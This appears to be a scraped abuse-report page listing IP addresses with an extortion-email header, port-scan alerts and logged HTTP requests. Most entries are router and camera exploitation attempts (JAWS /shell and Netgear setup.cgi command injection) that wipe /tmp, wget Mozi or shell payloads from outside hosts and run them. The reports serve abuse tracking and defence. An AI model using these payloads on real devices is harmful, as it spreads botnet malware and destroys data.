EXTORTION EMAIL/PHISHING
a spyware software developer.
Your account has been hacked by me couple m ...
show moreEXTORTION EMAIL/PHISHING
a spyware software developer.
Your account has been hacked by me couple months ago.
Received-SPF: neutral (google.com: 78.80.104.170 is neither permitted nor denied by best guess record for domain of [email protected]) client-ip=78.80.104.170;
Authentication-Results: mx.google.com;
spf=neutral (google.com: 78.80.104.170 is neither permitted nor denied by best guess record for domain of [email protected]) [email protected]show less
*Port Scan* detected from 179.228.203.212 (BR/Brazil/179-228-203-212.user.vivozap.com.br). 6 hits in ...
show more*Port Scan* detected from 179.228.203.212 (BR/Brazil/179-228-203-212.user.vivozap.com.br). 6 hits in the last 35 seconds
show less
*Port Scan* detected from 89.22.120.217 (DE/Germany/cs47391.dogadoserver.de). 6 hits in the last 276 ...
show more*Port Scan* detected from 89.22.120.217 (DE/Germany/cs47391.dogadoserver.de). 6 hits in the last 276 seconds
show less
2023-02-14 04:50:36 127.0.0.1 50.74.173.2
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.18 ...
show more2023-02-14 04:50:36 127.0.0.1 50.74.173.2
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws
show less
2023-02-14 07:42:31 localhost 177.26.19.77
Request: GET /setup.cgi?next_file=netgear.cfg&todo=sysc ...
show more2023-02-14 07:42:31 localhost 177.26.19.77
Request: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://177.26.19.77:46887/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
show less
2023-02-11 17:58:18 127.0.0.1 147.182.140.176 CRITICAL
Request: GET /shell?cd+/tmp;rm+-rf+*;wge ...
show more2023-02-11 17:58:18 127.0.0.1 147.182.140.176 CRITICAL
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+proxy.akur.group/jaws;sh+/tmp/jaws
show less
2023-02-11 22:09:47 127.0.0.1 161.97.117.104
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+proxy.akur.g ...
show more2023-02-11 22:09:47 127.0.0.1 161.97.117.104
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+proxy.akur.group/jaws;sh+/tmp/jaws
show less
Serving malware
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117 ...
show moreServing malware
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.212.164.201:37691/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
show less
2023-02-04 10:33:31 127.0.0.1 137.184.93.242
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.239. ...
show more2023-02-04 10:33:31 127.0.0.1 137.184.93.242
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.239.119/lol.sh;sh+/tmp/lol.sh
show less
Serving Malware
2023-02-04 10:33:31 127.0.0.1 137.184.93.242
Request: GET /shell?cd+/tmp;rm+-rf+* ...
show moreServing Malware
2023-02-04 10:33:31 127.0.0.1 137.184.93.242
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.239.119/lol.sh;sh+/tmp/lol.sh
show less
2023-02-04 14:32:56 127.0.0.1 117.217.114.112
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253. ...
show more2023-02-04 14:32:56 127.0.0.1 117.217.114.112
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws
show less
2023-02-04 21:15:09 127.0.0.1 172.222.233.7
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253. ...
show more2023-02-04 21:15:09 127.0.0.1 172.222.233.7
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws
show less
2023-02-03 08:15:26 127.0.0.1 209.141.49.204
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+205.185.1 ...
show more2023-02-03 08:15:26 127.0.0.1 209.141.49.204
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+205.185.121.139/jaws;sh+/tmp/jaws
show less
2023-02-03 13:21:59 127.0.0.1 216.154.29.208
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.1 ...
show more2023-02-03 13:21:59 127.0.0.1 216.154.29.208
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws
show less
2023-02-03 15:58:59 127.0.0.1 45.72.194.84
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180 ...
show more2023-02-03 15:58:59 127.0.0.1 45.72.194.84
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+45.12.253.180/jaws;sh+/tmp/jaws
show less
Serving malware/shellcode
2023-02-03 21:39:56 localhost 117.252.221.185
Request: GET /setup.cgi?ne ...
show moreServing malware/shellcode
2023-02-03 21:39:56 localhost 117.252.221.185
Request: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.252.221.185:59765/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=
show less
2023-02-03 22:22:55 127.0.0.1 143.110.229.199
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.2 ...
show more2023-02-03 22:22:55 127.0.0.1 143.110.229.199
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.239.119/lol.sh;sh+/tmp/lol.sh
show less
Serving malware
2023-02-03 22:22:55 127.0.0.1 143.110.229.199
Request: GET /shell?cd+/tmp;rm+-r ...
show moreServing malware
2023-02-03 22:22:55 127.0.0.1 143.110.229.199
Request: GET /shell?cd+/tmp;rm+-rf+*;wget+91.229.239.119/lol.sh;sh+/tmp/lol.sh
show less